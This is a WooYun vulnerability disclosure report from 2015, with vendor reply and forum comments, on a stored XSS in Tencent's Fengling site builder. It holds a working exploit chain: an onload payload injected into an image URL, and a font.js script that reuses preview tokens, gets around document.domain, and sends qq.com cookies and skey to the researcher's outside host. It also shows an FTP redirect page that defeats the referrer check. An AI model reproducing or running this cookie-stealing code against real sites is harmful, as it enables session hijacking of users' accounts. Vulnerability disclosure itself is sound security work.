当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0164769

漏洞标题:腾讯某站XSS漏洞可获取cookie/skey(点击一下上你的各种qq业务)

相关厂商:腾讯

漏洞作者: thx

提交时间:2015-12-28 13:23

修复时间:2016-02-09 23:29

公开时间:2016-02-09 23:29

漏洞类型:XSS 跨站脚本攻击

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-28: 细节已通知厂商并且等待厂商处理中
2015-12-29: 厂商已经确认,细节仅向厂商公开
2016-01-08: 细节向核心白帽子及相关领域专家公开
2016-01-18: 细节向普通白帽子公开
2016-01-28: 细节向实习白帽子公开
2016-02-09: 细节向公众公开

简要描述:

~

详细说明:

风铃建站,桌面版预览,没有过滤QQ客服组件自上传图片url,效果页面:
http://qz6666.com/iframe.html
http://preview.flzhan.com/default/preview?mode=pc&siteId=2000685651&url=http%3A%2F%2Fpreview.flzhan.com%2Fpreview%2Fpreview%2F2000685651%2Findex.html%3Fmode%3Dpc

QQ图片20151225203519.png


1.风铃建站,选择桌面模板创建网站
http://zhan.qq.com/default/tpl?screen=1&type=1
2.编辑,组件,添加QQ客服,组件设置中自己上传图片并在保存时抓包,更改src
http://fl.cdn.qq.com/transition/51/2000685651/982/82044509425637198825458012571080.png#\" onload=\"var s=document.createElement('script');s.src='http://qz6666.com/font.js';document.body.appendChild(s);
3.预览,会跳转到带有token的url,token会失效,XSS获取的cookie也是flzhan.com域的
http://preview.flzhan.com/preview/preview/2000685651/index.html?mode=pc&time=1451042318&tk=555d0e28df242f8eb34d757254028a49&r=596752
解决token问题,抓包发现是由一个无token的url跳转的:
http://preview.flzhan.com/default/preview?mode=pc&siteId=2000685651&url=http%3A%2F%2Fpreview.flzhan.com%2Fpreview%2Fpreview%2F2000685651%2Findex.html%3Fmode%3Dpc
解决cookie域问题,从下面文件中看到开头一句话,尝试直接替换url中的域名

http://api.zhan.qq.com/default/initJs?siteId=2000685651&page=index&target=preview&v=96196
//若站点域名使用xxx.zhan.qq.com,则设置docunent.domain
var topUrl = window.location.href;
if(topUrl.indexOf('zhan.qq.com')>0){
document.domain = 'qq.com';
}


发现有效
http://zhan.qq.com/preview/preview/2000685651/index.html?mode=pc&time=1451042318&tk=555d0e28df242f8eb34d757254028a49&r=596752
4.最终思路,预览无token的url,跳转到带token的url,加载xss脚本,获取token,框架加载替换域名url,获取qq.com域cookie

font.js
var domain = document.domain;
//第一次加载domain为preview.flzhan.com,第二次加载domain为qq.com
if (domain == 'preview.flzhan.com')
{
var pre_token = GetCookie('previewTk_2000685651');
var pre_time = GetCookie('previewTime_2000685651');
var s = document.createElement('iframe');s.src="http://zhan.qq.com/preview/preview/2000685651/index.html?mode=pc&time="+pre_time+"&tk="+pre_token+"&r="+Math.random()*1000000;s.style.display='none';document.body.appendChild(s);
}else if (domain == "qq.com")
{
WriteLog();
}
function GetCookie(name) {
var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
if (arr != null) return unescape(arr[2]);
return null;
}
//没搭XSS平台,下面是xsser.me中直接借的一段代码
function WriteLog(){(new Image()).src='http://qz6666.com/font.asp?do=api&id=u5AqAS&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());}


最后,又有一个问题,页面有判断referrer,必须是*.qq.com或者空,不能隐藏框架形式加载。解决,GG了一个匿名FTP,ftp跨协议:
ftp://218.2.110.212/Webs/Mod_EnvAuto/CommonInfo/bulletininfo/test.html

test.html
<script>
window.location="http://preview.flzhan.com/default/preview?mode=pc&siteId=2000685651&url=http%3A%2F%2Fpreview.flzhan.com%2Fpreview%2Fpreview%2F2000685651%2Findex.html%3Fmode%3Dpc";
</script>


最终效果:
http://qz6666.com/iframe.html

漏洞证明:

http://preview.flzhan.com/default/preview?mode=pc&siteId=2000685651&url=http%3A%2F%2Fpreview.flzhan.com%2Fpreview%2Fpreview%2F2000685651%2Findex.html%3Fmode%3Dpc

QQ图片20151225203519.png


http://qz6666.com/iframe.html

QQ图片20151225202034.png


http://qz6666.com/cook.txt

QQ图片20151225202505.png

修复方案:

版权声明:转载请注明来源 thx@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-12-29 14:23

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

评价

  1. 2015-12-29 14:25 | _Thorns ( 普通白帽子 | Rank:1656 漏洞数:246 | WooYun is the Bigest gay place. 网络工...)

    6666 可以上LOL吗。

  2. 2015-12-29 14:31 | king7 ( 普通白帽子 | Rank:1617 漏洞数:231 | 乱花渐欲迷人眼)

    @_Thorns 表哥的这个叼~~

  3. 2015-12-29 14:33 | M4sk ( 普通白帽子 | Rank:1218 漏洞数:323 | 国内信息安全任重而道远,还需要厂商和白帽...)

    6666 可以上LOL吗。

  4. 2015-12-29 14:36 | 田老板 ( 路人 | Rank:8 漏洞数:4 | 学校杀手)

    6666 可以上LOL吗。

  5. 2015-12-29 14:44 | chinakid ( 路人 | Rank:30 漏洞数:12 )

    不就是群问问的图片投票 貌似修复了吧 呵呵哒 ~!~

  6. 2015-12-29 14:51 | 随风的风 ( 普通白帽子 | Rank:201 漏洞数:69 | 微信公众号:233sec 不定期分享各种漏洞思...)

    6666 可以上LOL吗。

  7. 2015-12-29 15:17 | Blcat ( 普通白帽子 | Rank:112 漏洞数:20 | 家穷人丑 一米四九 小学文化 农村户口)

    我想点一下

  8. 2015-12-29 15:40 | 法官 ( 路人 | Rank:4 漏洞数:3 | Seven)

    给我开满钻阿

  9. 2015-12-29 16:13 | Jumbo ( 普通白帽子 | Rank:115 漏洞数:30 | 猫 - http://www.chinabaiker.com)

    6666 可以上LOL吗。

  10. 2015-12-29 16:54 | Hex ( 实习白帽子 | Rank:32 漏洞数:13 | 又一天过去了,今天过得怎么样,梦想是不是...)

    不点不点就不点

  11. 2015-12-29 17:49 | Can ( 实习白帽子 | Rank:66 漏洞数:22 | 我个人认为Windows环境下明小子最好用!)

    6666 可以上LOL吗。

  12. 2015-12-29 17:50 | Submit ( 普通白帽子 | Rank:526 漏洞数:118 | 我在乌云等你哟)

    表锅

  13. 2015-12-29 17:57 | oneplusone ( 实习白帽子 | Rank:38 漏洞数:15 | 三十功名尘与土,八千里路云和月。莫等闲、...)

    表锅

  14. 2015-12-29 19:30 | 骸骸 ( 路人 | Rank:28 漏洞数:7 )

    表锅

  15. 2015-12-29 19:37 | 冷白开。 ( 普通白帽子 | Rank:198 漏洞数:81 | QQ:970060225 大二屌丝狗求职~谢绝黑产!欢...)

    表锅~大腿~

  16. 2015-12-29 19:59 | 终于明白 ( 普通白帽子 | Rank:103 漏洞数:24 | 彩笔一枚。。。)

    可以上lol么

  17. 2015-12-29 23:56 | 书生 ( 路人 | Rank:17 漏洞数:6 )

    http://www.af-qq.top/ 谁的自己认领吧,能不能别特么再发邮件了